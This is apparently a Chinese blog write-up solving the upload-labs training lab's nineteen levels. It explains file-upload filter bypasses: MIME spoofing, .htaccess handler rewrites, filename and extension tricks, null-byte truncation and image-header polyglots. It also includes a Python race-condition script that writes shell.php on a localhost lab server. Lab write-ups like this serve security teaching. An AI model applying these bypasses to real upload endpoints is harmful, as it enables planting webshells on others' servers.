upload-labs通关指南

upload-labs

这个项目总结了很全面的上传漏洞的类型,具体请前往作者gayhub查看。
项目地址

刷完upload-labs,记录一下解题方法,一些环境和类型的确在实战中遇到过。
PS:上传test.php. .适用于pass01-pass09。

Pass-01

前端js限制,上传图片后缀的文件,利用burp抓包改包,禁用js,修改前端代码都行。

Pass-02

1
2
3
4
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;

MIME类型检测,content-type 修改为image/jpeg等绕过限制。

Pass-03

1
2
3
4
5
6
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //收尾去空

黑名单检测,可以利用其他后缀名绕过检测,如php2,php3,php5,pht,phtml,asa,cer等。但是phpstudy的apache应该是默认不解析php2,phtml这些,所以我这里非预期,利用上传.htaccess,修改解析规则,内容如下:

1
2
3
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>

这时候上传 test.xxx形式的文件都会被当作php解析。
或者上传test.php. .(该方法实用upload-labs大部分关卡)

Pass-04

同样是黑名单但是这次大部分后缀都被过滤了,同3上传.htaccess重写规则即可。

Pass-05

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

可以看到这里虽然在黑名单中加上了.htaccess,但是并没有限制大小写。我们可以利用.Php绕过。
这里跟踪一下deldot函数,在common.php文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

if($c != '.'){
return substr($s,0,$i+1);
}
}
}
?>

该函数简单明了,就是消掉末尾的点。也就是说只要构造”.php. .”即可绕过检测,当deldot函数检测到末尾的第一个点时将继续从后向前检测,当检测到空格时return xxx.php. (这里结尾时空格),接下来执行trim函数将去掉末尾的空格,最终文件名为 test.php. 由于windows特性,最后将变为test.php。

Pass-06

1
2
3
4
5
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

没有去空处理,因此上传 test.php 后缀中加一个空格,再利用windows特性绕过检测规则。

Pass-07

没什么营养,上传test.php.即可。

Pass-08

上传test.php::$DATA或者同理第五关上传 test.php. .

Pass-09

test.php. .

Pass-10

1
2
3
4
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

str_ireplace函数将从数组中匹配到的后缀名替换为空,因此上传 test.pphphp。起初这里有一些疑问,.pphphp中明显可以看到有两种php组成,既p(php)hp和pph(php)。后经测试str_ireplace从左侧开始并且只替换一次。

Pass-11

利用了白名单检测,并且给上传的文件重命名。看一下关键代码。

1
2
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext

这里的文件保存路径通过get方式获得,该变量可控,因此利用00截断来绕过检测规则。

由于url编码会将%00经过urldecode变成空字节,然而在php版本小于5.3.4 将不解析空字节后面的内容。这里注意一下自己环境中php的版本问题。

Pass-12

同理第十一关,只不过这里是通过post方式获取的文件路径,因此,我们需要在burp中选中%00右击->url->urldecode go即可。由于post方式不会自动将%00编码为空字符因此需要手动。

Pass-13

重点来看一下getReailFileType函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

该函数只读取文件的两个字节,我们可以通过以下方式绕过检测。

1
2
3
4
GIF89a
<?php
phpinfo();
?>

将以上文件保存为test.jpg 上传(此关卡只要求上传图片文件到服务器即可。)
或者通过 copy命令将正常图片与test.php融合在一起也可。

Pass-14

同pass-13

Pass-15

同pass-13。需要在php配置文件中开启php的php_exif扩展

Pass-16

通过函数imagecreatefromjpeg将图片二次渲染生成了新的图片。因此需要利用winhex分析上传前与上传后文件相同的部分,并在相同部分写入php代码。上传即可。

Pass-17

1
2
3
4
5
6
7
8
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);

检测到不允许上传的文件类型就unlink删除掉文件。虽然看似没有什么破绽,但是却存在条件竞争,我们只要利用竞争上传,上传的php文件内容为写入shell文件,利用python多进程同时上传test.php文件,不断的访问该文件,一旦访问成功,将在服务器中写入webshell,实现代码如下:

#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url=”http://localhost/upload-labs/Pass-17/index.php"
geturl=”http://localhost/upload-labs/upload/info.php"
file={‘upload_file’:(‘test.php’,”<?php fputs(fopen(‘shell.php’,’w’),’<?php phpinfo();?>’);?>”,’image/jpeg’)}
data={‘submit’:’上传’}
u=requests.post(url=url,data=data,files=file)
u1=requests.get(url=geturl)
if u1.status_code==200:
print “upload success!”
if name==”main“:
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()

简单的方法,直接利用burp->intruder模块上传文件,同时不停的访问url/test.php。

Pass-18

需要审计一下源代码,利用白名单,并检查文件大小是否存在等,最终将文件重命名。同理pass17我们可以利用条件竞争,导致来不及rename,因此成功上传webshell。(利用burp或者自己写脚本都行)

Pass-19

CVE-2015-2348 move_uploaded_file() 00截断,自行查阅文档。

思路或者方法哪里有问题欢迎小伙伴联系我交流!

文章目录
  1. 1. upload-labs
    1. 1.1. Pass-01
    2. 1.2. Pass-02
    3. 1.3. Pass-03
    4. 1.4. Pass-04
    5. 1.5. Pass-05
    6. 1.6. Pass-06
    7. 1.7. Pass-07
    8. 1.8. Pass-08
    9. 1.9. Pass-09
    10. 1.10. Pass-10
    11. 1.11. Pass-11
    12. 1.12. Pass-12
    13. 1.13. Pass-13
    14. 1.14. Pass-14
    15. 1.15. Pass-15
    16. 1.16. Pass-16
    17. 1.17. Pass-17
    18. 1.18. Pass-18
    19. 1.19. Pass-19